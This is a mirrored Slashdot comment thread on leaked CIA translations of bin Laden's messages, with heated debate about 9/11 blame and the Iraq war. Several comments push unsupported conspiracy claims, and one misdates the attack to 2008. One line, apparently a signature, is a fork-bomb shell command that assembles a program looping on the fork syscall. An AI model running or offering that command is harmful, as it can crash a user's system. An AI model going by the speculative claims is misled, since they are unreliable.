Slashdot Mirror
10 Years of Translated Bin Laden Messages Leaked
DragonFire1024 lets us know that Wikileaks has obtained 10 years of messages and interviews by Osama bin Laden, the leader of al-Qaeda. The documents were translated and the messages and interviews were authenticated by the US CIA. "The nearly three hundred page, 'official use only' packet from 2004, translated by the Foreign Broadcast Information Service, a division of the CIA, includes interviews with bin Laden from various news agencies and also includes messages he sent directly to the US from the periods of 1994 to 2004. One message includes bin Laden's denial of having anything to do with the September 11, 2001 attacks in New York City, Washington DC, and Pennsylvania."
While I definitely agree that all kinds of evidence has been withheld from public knowledge, there are a couple points....
First, this is nothing new. Bin Laden has always denied involvement. The only time he acknowledged being responsible, was in some supposed sham video that was "found" in Afghanistan, and claimed by the CIA as some sort of smoking gun proving he did it.
Second, while I certainly have never seen a solid piece of evidence proving that he was involved... Him saying he wasn't involved isn't exactly proof of innocence either. He is after all a crazy bastard who thinks it's perfectly ok to murder people because of the country they were born in.
And that video has been universally decried as an obvious fake as the person in the video only looks similar to Osama bin Laden if you're a white American who thinks all Arabs look alike.
How we know is more important than what we know.
I've argued for quite a while that 9/11 is a fluke. Both in an abundantly obvious statistical sense, but also in terms of intent.
I believe even Al Queda was surprised at the end result. Not only did they probably provoke a larger response than they anticipated, but they also severely undermined any credibility they were cultivating among people sympathetic to their overall rhetoric.
Of course, they probably won a good amount of that back when we invaded Iraq and appeared to validate some of their accusations.
Exactly. Bin Laden is not in "charge" of Al Qaeda like Blowfeld was in charge of SPECTER. He is a figurehead and inspiration for groups that choose to call themselves affiliated with Al Qaeda. KSM was one of the masterminds of 9/11 and one of Bin Laden's chief disciples. Bin Laden did not come up with the idea of 9/11, mastermind it, organize it, or probably even fund it. He did, apparently, approve of it though beforehand and take credit for it elsewhere afterwards.
Disclaimer: IAAIA (I am an Intelligence Analyst)
Tic-Tac-Toe, Global Thermonuclear War, and relationships all have the same winning move.
I don't think that his disclaimer of responsibility is "evidence". If you download the actual document, you'll see that is behavior is self-contradictory. He declares "jihad" on the US, but then says "It wasn't me!" after attacks.
Whether or not he had any direct hand in it, he was the leader of the organization responsible,
Whoa... stop right there.
A terrorist organisation - or at least, one that's even remotely successful for any length of time - doesn't have the pyramid-style management structure that you're used to seeing.
Instead, it has a bunch of loosely-organised small groups, each consisting of no more than a dozen people. These groups may have a little communication between them but by and large they're fairly autonomous - they just use a common name to identify with the common cause they share. This is why it's damnably difficult to efficiently infiltrate the organisation - put simply, nobody knows much about anyone outside their own group and this is by design.
It follows that even if there are a few people who are considered inspirational by most within the organisation, getting rid of those few people won't necessarily achieve much. In fact, it could well be counter-productive because you'll turn them into martyrs.
Indeed the American People. I know I had heard that one on the news in Belgium, Europe just after the attacks. I believe one or two days later. At least it was in the standard period where people would say "probably it group XYZ, but let us wait for the confirmation" and not jump to conclusions for their own interest.
The Spanish have done that with the Madrid bombing and they got not elected because of lying to their public and pointing fingers at the wrong terrorists.
As these 'leaked' documents include things send to news agencies, the real issue is why you did not hear it and other countries with lesser freedom of the press did. Later we did not hear about it anymore, because the fact that he denied it was irrelevant.
Don't fight for your country, if your country does not fight for you.
I must confess I am already annoying all my friends in the US to register as voters and to do it right this time. It's a huge problem when the clever ones refuse to vote.
http://www.dieblinkenlights.com
You say whoever organized the attack couldn't trust Bin Laden, because he could be in bed with the CIA. He is an asset to the CIA because he is an effective scapegoat. If you did not have the attacks, you would not need a scapegoat, so he wouldn't be an asset at all.
Drawing from your logic, Bin Laden only has value IF there is an attack. I'm sure you see where I'm going from there.
FYI: I don't know what you guys are talking about half the time.
They don't all have Bin Laden's current postal address and telephone hotline. If they did, it would be fairly trivial to track him down.
Of course, as soon as you start thinking of a terrorist organisation like this, you have a huge problem.
Conventional methods that you might use against a country (eg. declare war) or a criminal conspiracy (eg. infiltrate them) don't work. You just wind up playing whack-a-mole with a twist - for every mole you whack, there's a good chance that two will appear in their place.
Oh come on dude, many countries have bad shit, do US kick butt in all those? NO.
Admit it, there is a alternative motive here to take oil OUT of the market to INCREASE prices, to INCREASE demand for US $$$$ to prop up the bad debt USA will NEVER PAY BACK. Even shell have admitted it.
Japan $583b
China $503b
UK $283b
OPEC $170b
Brazil$151b
Caribiean $122b
Russia $65b
The UN/IMF/WorldBank are the worlds most successful criminals.
Liberty freedom are no1, not dicks in suits.
The question was: did he still have them later on, and the answer to that, it seems now, is: no. Therefore, did Bush lie ? We don't know, but it looks like it an awful lot.
I don't understand why people believe this. If you look at The Downing Street memo
http://www.downingstreetmemo.com/docs/memotext.pdf
For instance, what were the consequences, if Saddam used WMD on day one, or if Baghdad did not collapse and urban warfighting began? You said that Saddam could also use his WMD on Kuwait. Or on Israel, added the Defence Secretary.
This is supposed to be the smoking gun that proves that Bush and Blair lied about WMD. And yet one of the contingencies they planned for was that Saddam would use WMD on Kuwait or Israel. From what I can tell Saddam either destroyed his WMD in secret or shipped them to Syria. But what he definitely didn't do was to comply with the ceasefire at the end of the first Gulf War or the numerous UN resolutions to prove he had destroyed them. Given that Iraq had been found with surprisingly advanced WMD programs at the end of the first Gulf War and that he had used poison gas against both the Iranian army and the Kurds, it's silly to expect that anyone would believe he had disarmed without some sort of proof.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I'd have thought that one of the relevant points is whether if Iraq had some poison gas weapons somewhere, it was legitimate cause to launch a full scale invasion, occupation and installation of a more amenable government. After all, certain other countries that are considerably less likely to be invaded have much greater stockpiles of "WMD" than Iraq has ever had.
But regardless, the UN weapons inspector (both at the time and a former one) are on record as saying that they were not finding (and had not found) evidence of "WMD". If the aim had been to deal with "WMD violations" then the logical course of action would be to allow the weapons inspectors to continue. However, as it looked more and more certain that they would find no evidence, they had to be pulled out as the US was already beginning its invasion. The carriers were in place, the troops on the move. How much evidence is needed that the US-led invasion was not motivated by WMD in any capacity? It was always a pretext and the attack took place before it could be exposed.
Aide-toi, le Ciel t'aidera - Jeanne D'Arc.
Tell that to any remaining WW1 vets and see what response you get.
No, there were *three* issues; one (the one that Tony Blair used) was that there were long distance rockets (to deliver a chemical or *normal* payload to Cyprus, for example), the second one was that he had nerve gas (to be delivered on the battlefield). The first one is a threat if you happen to live in Europe, the second one only when you invade his country (or live in it, but that was never really brought up in this context). The third one was that he had Uranium (the Niger letter) - against which there is no real protection on the battlefield. The first and third issues were definitely lied about, the second one was questionable to say the least.
Religion is what happens when nature strikes and groupthink goes wrong.
You didn't get the press release a few moments ago that retroactively changed the reason for the war yet again?
Seriously, though, for some reason I find the constant retconning of the reasoning for the war even worse than the original lie. You might be able to claim that the original reason was due to faulty intelligence and admit to having a "we goofed" moment. (Sure, that goof resulted in tons of deaths on both sides, but stay with me here.) However, to constantly change the reasoning behind the war after the fact ("Sadaam has WMDs and nukes!", "Sadaam was trying to get WMDs and nukes!", "Sadaam was starting up programs which might have eventually, one day, resulted in a WMD/nuke.", etc.) shows that not only does the administration not care whether they lie or not, but they also don't care how good their reasoning is and they think that the American people are stupid.
I guess they're right, though. I had a friend actually try to tell me that the reason we're in Iraq now is so we can keep a better eye on Iran. Yes, folks, the true reason that we invaded a sovereign country that posed no real threat to us, destabilized it to the brink of civil war, wasted the international good will we had after 9-11, fought a war that resulted in thousands of US dead (and even more Iraqi dead), and tied up our military resources so much that other tin-pot dictators feel they can thumb their noses at us is so we could get a bit closer to Iran to keep an eye on them. I guess it makes sense that we'd want to keep an eye on them, though. With our hands tied up in Iraq, and eye is about all we can spare.
My sci-fi novel, Ghost Thief, is now available from Amazon.com.
Framing Osama bin Laden for 9/11 does not make any sense, it's just plain paranoid.
Actually, there's a fairly straightforward "theory" that makes sense of it. To see the basis of the theory, look up the media coverage of the WTC attack on 2008-9-11. It's fairly clear from the start that: 1) The authorities and media were totally taken by surprise and unprepared for what was happening; but 2) It was immediately clear who they were blaming. Within the first half hour of news coverage, the media was producing a steady drumbeat of "Osama bin Laden ... al Qaeda ... Osama bin Laden ... al Qaeda ... ". They didn't know who did it, but they knew who they were going to blame.
US government agencies weren't much heard from during the first day, probably because they were too busy. By the time they got around to talking to the public, they understood that the job of picking a scapegoat had already been done for them by the media. So they just went with it.
They didn't much want to actually capture bin Laden and his cohort, of course, because they knew that they had little evidence against him that would stand up in any court. He'd probably walk free, with a big propaganda win. From the viewpoint of the Bush crowd, his value wasn't as a jailed or executed criminal; his value was and is as a Foreign Devil. They were interested in finding and punishing the actual perpetrators, yes, but there was little point in going after Osama & Co when they were doing such a commendable job as Foreign Devils.
Of course, this is yet another theory based on sketchy initial facts and little actual inside information. But it does make a bit of sense. It acknowledges the usual government bungling and total failure to pick up on the WTC attack before the fact. It also acknowledges the media's penchant for fomenting mass hysteria and scapegoating of Foreign Devils. And it handles the puzzling question of why US authorities (government and media) show so little interest in hunting down the minor clerical figure who supposedly was the mastermind of it all.
Why not pick a scapegoat who is either easier to blame (like Saddam), or completely fictional (1984 style).
The public image of bin Laden and al Qaeda is mostly fictional. It's true that there are a handful of real people behind the names. But what people "know" about them is pretty much a media creation, with little basis in their actual beliefs or actions. The public Osama is a creation of Hollywood and media newsrooms, with little attention to the person behind the name.
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
For starters, it is irrelevant whether Iraq had any WMD or not. Saddam hadn't shown any will or intention to use them against the US or any close US ally. And since the US also has (for real) plenty of WMDs, there goes the moral argument. It was none of its business. But even if it was, I think it became pretty obvious that he had no WMDs since he didn't used them against a foreign invader like the US.. What would he have them for then? To kill children and women only? Come on... The US is a great nation, and I respect it's people but sometimes it becomes pretty obvious why someone says "No one has ever lost money underestimating American intelligence" The current president and his entourage certainly did not...
Alas, you didn't actually read what I wrote. The parts of the Geneva Convention that make guerrillas "enemy soldiers" weren't signed by the USA. Therefore we are not bound by them.
However, that doesn't actually prevent us from treating them as soldiers (or civilians) at our discretion. Or as common criminals. Or as none of the above. Traditional (pre- those addenda to the Geneva Conventions) usage for guerrillas was to treat them FAR worse than enemy soldiers. They could be killed on sight, executed without trial, all sorts of interesting options, none of which included treatment as soldiers. Note treatment of such during the 19th Century and early 20th Century, before the Geneva Convention tried to give them the same rights as soldiers, without requiring from them the same obligations as soldiers.
Further note that the USA didn't sign those parts of the Geneva Conventions because they were proposed by the USSR during the Vietnam War, and would have required us to refrain from actually shooting at the enemy till the enemy had shot first (armed men not actually shooting at you had to be considered civilians), and to refrain from shooting at them as soon as they stopped shooting at you (again, armed men not actually shooting at you had to be considered civilians). Which would effectively make warfare against guerrillas impossible.
Note that the USSR did not sign onto that provision of the Geneva Conventions either, even though they had proposed it.
"I do not agree with what you say, but I will defend to the death your right to say it"
I donno. I find that my regimen of listening to NPR on my commute, plus an evening with the voter's guide is generally enough to let me make some kind of informed decision.
I admit that local offices can be a challenge, but I usually find an issue or two that the candidates disagree on for any position, and vote based on that issue.
My general guideline? People are generally selfish - let's get some laws that reasonably mitigate some of that selfishness.
Mod my comments down. It'll be fun.
I think once we already go to war with someone, then end that war, and then wait a decade, we cant consider anything that happened before that "evidence". After `91 anything would be fair game, but it looks like Saddam actually kept his nose pretty clean, He probably figured it was all he had to do to keep his position, and that bush wouldn't dare invade without a good reason. Little did he know how unstable our leaders were eh?
CNN may have lost interest but the war didn't end. There was a cease fire and a laundry list of requirements to maintain that cease fire. Saddam then played an interesting game with weapons inspectors (apparently attempting to prove to the US that chemical weapons didn't exist while implying to Iraq that they did) while siphoning funding from oil sales meant to maintain civilian infrastructure.